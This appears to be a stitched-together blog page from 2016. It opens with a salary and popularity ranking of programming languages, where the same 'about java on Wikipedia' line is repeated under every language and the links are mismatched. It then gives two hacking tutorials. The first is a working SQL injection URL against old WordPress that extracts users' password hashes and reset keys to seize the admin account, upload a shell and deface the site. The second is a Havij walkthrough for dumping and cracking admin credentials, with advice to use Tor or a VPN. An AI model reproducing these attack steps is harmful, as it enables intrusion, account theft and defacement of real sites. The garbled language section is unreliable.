Thursday, 25 February 2016

Top programming languages based on salary and popularity


Most of you familiar with C, C++, JAVA programming languages, but as you go deep into tech world, you will realize the value and amount of money that can be earned with some other programming languages. There are some programming languages which make your skill set more valuable. The below is the compiled list of top programming languages based on their popularity and salary.
First of all, we will see the ranking of programming languages based on salary, then by popularity and at the end we will discuss little bit about some of these languages. So, Let’s get started.

Rank by salary:

11. SQL – $85,511
10. Visual Basic – $85,962
9. C# – $89,074
8. R– $90,055
7. C – 90,134
6. JavaScript – $91,461
5. C++ – $93,502
4. JAVA – $94,908
3. Python – $100,717
2. Objective C – $108,225
1. Ruby on Rails – $109,460

Rank by popularity:

11. R
10. Ruby
9. Visual C++
8. Python
7. JavaScript
6. C#
5. C++
4. Objective C
3. SQL
2. Java
1. C
Like this article? then Help us grow:
There are many other programming languages like PHP, swift, which can also be useful to learn these days.

Programming Languages About:

1. Java

As many of you know, Java is OOPS (object oriented programming structure), and is top pick as one of the most popular programming languages. Used for building server-side applications to video games, mobile apps, and also the core foundation for developing Android applications and games. With its inheritance or WORA (write once, run anywhere) mantra, it’s designed to be portable and run happily across multiple software platforms. Java is one of the easy to learn language after Python. If you have plans to start learning java then I recommend you to first clear the concept of C++.
Read Everything about java on Wikipedia. You can also dive on introduction by ibm.
Official website: java.sun

2. Python

Python is a one-stop shop. There’s a Python framework for pretty much anything, from web apps to data analysis. In fact, WordStream, Pinterest and Instagram are written in Python! As I told you above, Python is the easiest programming language to learn, with its simple and straight forward syntax. Python has risen in popularity due to Google’s investment in it over the past decade. If you want to start learning your first programming languages then I strongly recommend you to start with Python or C++.
Read Everything about java on Wikipedia. You can also dive on introduction to python by Python.org.
Official website: java.sun

3. C

C is often the first programming language taught in college, but now a days taken by C++ (It is more advanced having some unique features.). C is the predecessor to more complex programming languages like Java and C#. C is best when you want to work small and when dealing with low-level applications. It’s widely used for embedded systems like the firmware of your television or the operating system of an airplane, as well as computer operating systems like Windows.
Read Everything about java on Wikipedia. You can also dive on introduction to C byabout.com.

4. Ruby

Ruby or Ruby on Rails is a major supplier of web apps. Ruby is popular due to its ease of learning and power. I don’t know much about Ruby, Sorry for that, You can read more about Ruby on official website. Ruby knowledge is in high demand these days, that can say for sure!
Read Everything about java on Wikipedia. You can also dive on reasons to learn Ruby by skillcrush.
Official website: Ruby on Rails

5. JavaScript

JavaScript, which confusingly, is not at all related to Java; is another favorite programming language because it’s so ubiquitous on the web–it’s basically everywhere. JavaScript allows developers to add interactive elements to their website, and its presence is felt across the internet. If you have plans to learn javascript then first learn HTML and CSS. These help you to build web projects even better.
Read Everything about java on Wikipedia. You can also dive on a good introduction of javascript by mozilla.com (company behind firefox).

6. C#

C#, pronounced as C-sharp; is the language used in order to develop Microsoft apps. C# is syntactically nearly identical to Java. If you’re good at Java, you’ll likely have an easy time jumping onto C#. If you’re looking to work on Microsoft apps, C# is the way to go. C# opens a lot of Windows.
Read Everything about java on Wikipedia. You can also dive on introduction to C# bymicrosoft.com.

7. PHP

PHP, stands for Hypertext Preprocessor; is often used in conjunction with dynamic data-heavy websites and app development. It provides a ton of power and is the beating heart of monster sites like WordPress, Facebook and many others (thegeekystuff is also build on wordpress means php). What’s really cool about PHP is that it’s an open-source language, so there are tons of free pre-built modules that you can grab and modify to get your ideal results. PHP is also on the easy end of the learning spectrum, simply requiring you to embed the code within HTML. PHP is a must-learn language for aspiring web developers.
Read Everything about java on Wikipedia. Nice introduction to PHP is given by w3schools.

8. Objective-C

Objective-C is the programming language behind iOS apps. Apple’s new languageSwift is rising in the ranks, but Objective-C is still the recommended starting point for those looking to craft Apple apps for iPhones and iPads.
Read Everything about java on Wikipedia. You can also dive on introduction to Objective-C by apple itself.

9. SQL

SQL, stands for Structured Query Language; is a database query language that’s ideal when talking big data. SQL lets you siphon helpful data from massive databases. Nearly every app has a backend database, and SQL is the language that helps you interact with that sweet data. In terms of software development, SQL isn’t ever used alone–rather, you invoke SQL from some other programming knowledge and you have yourself a nice package deal. Also check out Apache, If you’re interested.
Read Everything about java on Wikipedia. Also read introduction to SQL by techtarget.

10. C ++

C++ is an object-oriented programming structure (OOPS) language that is viewed by many as the best language for creating large-scale applications. C++ is a superset of the C language. Now a days, 90% of the colleges prefer to taught C++ due to its wide applications and advanced features.
Read Everything about java on Wikipedia. You can also dive on introduction to C byabout.com.

Hacking Wordpress without hash cracking

Hey,today i am back with a new post for you . This post is about hacking worpdress blogs without cracking there hashes.

As we all know now the worpdress blogs are using higher alogrithem to encrypt blog passwords, which are not easy to crack. The only methods to crack these hashes is Brute Force but brute force takes too much time.


Now lets get started--->

Things you need --->

1. Wordpress version <= 3.4.2
2. Sql injection vulnerable wordpress site(make sure version of wp site is 3.4.2 or less than it)

Lets start --->

Find SQLi vulnerable worpdress site.
Like i get www.site.com?fbconnect_action=myhome&fbuserid=1

nw add this code after the wordpress site address
+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,0x3a,user_pass)%E2%80%8B,7,8,9,10,11,12+from+wp_users--
Nw address will look like
http://target.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_email,0x3a,user_pass)%E2%80%8B,7,8,9,10,11,12+from+wp_users--
lets start pwning

First go to http://target.com/wp-login.php
Now click on Lost your password ?

Now the wordpress will ask you for the username or email, enter the username or email id which you got on the field and click get password.

Now it will be saying "Check your e-mail for the confirmation link."
now what wordpress does is it sends an activation key to the email address also it sets the value of activation key in the database as well. 

we will be getting the user activation key by sqli this is what its all about.

Add column name user_activation_key to extract
http://target/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_activa%E2%80%8Btion_key),7,8,9,10,11,12+from+wp_users--
Now you will be able to see the activation key

Now .. finally all we have to do is enter the following url to end of the site and edit it with your activation key and username

wp-login.php?action=rp&key=KEYHERE&login=USER NAME HERE

eg:- 
http://target.com/wp-login.php?action=rp&key=cFn9vDsT3X2ZnW8vEda6&login=admin
Now the wordpress will ask u for ur new password enter your desired password & click change.

Now you will be able to login to site. 

Now upload shell and then deface it.

Note -->
1. Only for educational purpose.
2. This hack only works on Worpdress versions 3.4.2 or less than it..

Hacking a website using SQL injection:Full method with Pics

Things you will need -->

1. Havij SQL injection Tool, download it from here(Run as Administrator)
2. A sql vunerable site, I am taking this site http://examplesite.com/catalogo_nuevos_detalle.php?id=2 as an example.
3. A very important thing i.e mind.

Checking for sql vulnerability --->

Here i am taking http://examplesite.com/catalogo_nuevos_detalle.php?id=2 as an example. 
Now to check is this site vulnerable to sql, I will simply add after the site url
like this http://examplesite.com/catalogo_nuevos_detalle.php?id=2'
and i get this error on the site
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
It means that site is vulnerable to sql injection.

Exploiting the vulnerable site ---> 

1. Open Havij and paste site url in target field and hit enter
.
2. Now wait for Havij to get all the databases of the website.

3. Now click on available databse of site and click on Get Tables like i am gonna select 535480_toyonorte of my site like in image.

hacking websites with sql injection

4. By clicking Get Tables Havij will look after the tables available in the database.

5. Now after the scanning Havij will get all tables, now the main work start , you have to check it there table available named as admin, users and something similar to these words like i get usuario in my website and select it and click on Get Columns. Like in pic given below.

hacking websites with sql injection

6. Now after clicking Get Columns havij will get all the columns available in users table.

7. In my case i found diffrent columns like id, login, pass an many more.

8. Now select the columns and click on Get Data like in pic given below.

hacking websites with sql injection

9. Now havij will look after the data available in columns login and password i.e admin username and password like i get 
username --> admin password--> 21232f297a57a5a743894a0e4a801fc3 (in encrypted form)
Like in image below

hacking websites with sql injection

10. Now after i get username and password there is a problem that password i s encrypted in mdm language , so we have to crack it .

11. To crack encrypted password just copy password click on MD5 tab in havij and paste the encrypted password in MD5 hash field and hit start.Now havij will try to crack the password. Like i cracked in image given below.

hacking websites with sql injection

12. Now i get Password cracked as admin.

13. Now we will check for admin panel where we gonna login with username and passoword.

14. To find admin panel click Find Admin tab in Havij and click start. Now havij  will check the admin panel of website.
In my case i found http://examplesite.com/admin/ as admin panel, now open it in a web browser and login with username and password and now you are in admin panel.

15. Now upload the shell from admin panel. 

Notes--->

1. Website hacking is illegal
2. Use proxy, tor, vpn for your security.
3. This is for only educational purpose.